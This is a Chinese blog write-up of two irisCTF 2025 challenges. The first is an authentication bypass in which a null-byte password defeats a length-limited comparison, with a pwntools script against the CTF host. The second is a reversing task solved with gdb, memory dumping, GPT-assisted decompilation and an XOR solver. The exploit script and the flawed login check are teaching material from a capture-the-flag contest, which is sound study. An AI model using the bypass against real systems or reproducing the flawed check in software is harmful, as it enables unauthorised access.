文章

irisCTF 2025

第一次釋出自己寫的 writeup 而且又是沒有表現地特別好的比賽,挺可怕的。

irisCTF 2025

偷翻了一下時間發現這還是今天一月初寫的,感覺我懶癌已經沒救了

information

Ranking: 242nd / 1063

CTFtime: https://ctftime.org/event/2503

忘記截圖了 QQ


sqlate

連著神奇本地sqlite的資料庫,目標函數是 action_sys() ,不過會驗權限和 userId

1
2
if (!check_permissions(permission_root)) continue;
action_sys();
1
2
3
void action_sys() {
  system("/usr/bin/cat flag");
}

一開始看到這兩個 struct 感覺是heap題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct paste {
  int rowId;
  char title[256];
  char language[256];
  char content[256];
};

  

struct user {
  int userId;
  uint64_t flags;
  char username[256];
  char password[256];
};

最後發現在登入的時候密碼只會比對和輸入一樣長度的字元。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void action_login() {
  // Currently only admin login
  read_to_buffer("Password?");
  unsigned long length = strlen(line_buffer);
  for (unsigned long i = 0; i < length && i < 512; i++) {
    if (line_buffer[i] != admin_password[i]) {
      printf("Wrong password!\n");
      return;
    }
  }

  strcpy(current_user.username, "admin");
  current_user.userId = 0;
  current_user.flags = 0xFFFFFFFF;
}

所以直接輸入一個長度為0的的字串使迴圈的條件一開始就不成立。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

# p = process('./vuln')
p = remote('sqlate.chal.irisc.tf', 10000)

# Login option
p.recvuntil(b'> ')
p.sendline(b'5')

# Enter password length is 0
p.recvuntil(b': ')
p.sendline(b'\x00')

# Hidden option cat flag
p.recvuntil(b'> ')
p.sendline(b'7')
flag = p.recvline()

p.close()

print(flag.decode('utf-8'))

Now this will run on my 486?

.data 段有一個放他自己創造的 machine code,他透過 SIGILL 時的handler實作 JIT編譯器。用來把他的機器編譯成x86-64。

1
2
3
  local_438.sa_flags = 4;
  local_438.__sigaction_handler.sa_handler = FUN_001012c8;
  sigaction(4,&local_438,(sigaction *)0x0);

所以我決定透過動態分析取得編譯後的 machine code。

先在SIGILL 時設置斷點

1
(gdb) handle SIGILL stop

進到 handler 後直接去到 ret

1
(gdb) fin

之後繼續執行

1
(gdb) ni

裡面包含多組 cmpret 的邏輯

	cmp    eax,edx
	setne  al
	movzx  eax,al
	test   eax,eax
	je     0xe0
	mov    eax,0x2
	ret

為了獲得完整的 machine code,在 ret 前將 rip 改成 je 跳到的 address

1
(gdb) set $rip = <addr>

最後dump出來

1
(gdb) dump memory memdump.bin <start_addr> <end_addr>

把裡面多餘的 nop 刪除掉後用 objdump 反組譯成 assembly

1
objdump -D -b binary -m i386:x86-64 memdump.bin --no-show-raw-insn -Mintel > o.asm

懶得去看組語所以我讓GPT幫我反編譯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdint.h>
#include <unistd.h>

int main() {
    // 內存準備
    uint32_t *memory = (uint32_t *)(0x1000 + (uintptr_t)r8);

    // 初始化數據
    memory[0] = 0x67616c66;  // "flag" 的 ASCII 值
    memory[1] = 0x203f;      // 設置內存 0x1004

    // 輸出初始數據(類似 write 系統調用)
    write(1, &memory[0], 6);

    // 從輸入讀取數據(類似 read 系統調用)
    read(0, &memory[0x2000], 32);

    // 初始化變數
    uint32_t checksum = 0;
    for (int i = 31; i >= 0; i--) {
        // 從 0x2000 開始計算 checksum
        checksum += (memory[0x2000 + i] & 0xFF);
    }

    // 比較 checksum
    if (checksum != 0xCFF) {
        return 1;
    }

    // 比較存儲的哈希值
    if ((memory[0x2000] ^ 0xBF51B0D7) != 0xCC38C2BE) {
        return 2;
    }
    if ((memory[0x2004] ^ 0x75CC547B) != 0x0EAA2018) {
        return 3;
    }
    if ((memory[0x2008] ^ 0x4F0FD83A) != 0x1078B74D) {
        return 4;
    }
    if ((memory[0x200C] ^ 0xA2117744) != 0xDB631232) {
        return 5;
    }
    if ((memory[0x2010] ^ 0xECD0CEC6) != 0x98A0A199) {
        return 6;
    }
    if ((memory[0x2014] ^ 0x2E19F9FA) != 0x42789493) {
        return 7;
    }
    if ((memory[0x2018] ^ 0x32EA83D9) != 0x5685E086) {
        return 8;
    }
    if ((memory[0x201C] ^ 0xE5EB61E0) != 0x98CA4085) {
        return 9;
    }

    return 0;
}

之後透過 xor 的特性 a ^ b = c, b ^ c = a ,算出了原本的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 已知值的計算
hash_values = [
    (0xBF51B0D7, 0xCC38C2BE),
    (0x75CC547B, 0x0EAA2018),
    (0x4F0FD83A, 0x1078B74D),
    (0xA2117744, 0xDB631232),
    (0xECD0CEC6, 0x98A0A199),
    (0x2E19F9FA, 0x42789493),
    (0x32EA83D9, 0x5685E086),
    (0xE5EB61E0, 0x98CA4085),
]

# 計算前 8 個值
memory = [a ^ b for a, b in hash_values]

# 補充剩餘字節讓校驗和滿足條件
checksum_target = 0xCFF
current_checksum = sum(value & 0xFF for value in memory)
remaining_bytes = checksum_target - current_checksum

# 將剩餘字節填充到輸入
input_data = []
for value in memory:
    input_data += [(value >> (i * 8)) & 0xFF for i in range(4)]
input_data += [remaining_bytes]

# 輸出最終輸入
for i in input_data:
    print(chr(i),end="")
本文章以 CC BY 4.0 授權

熱門標籤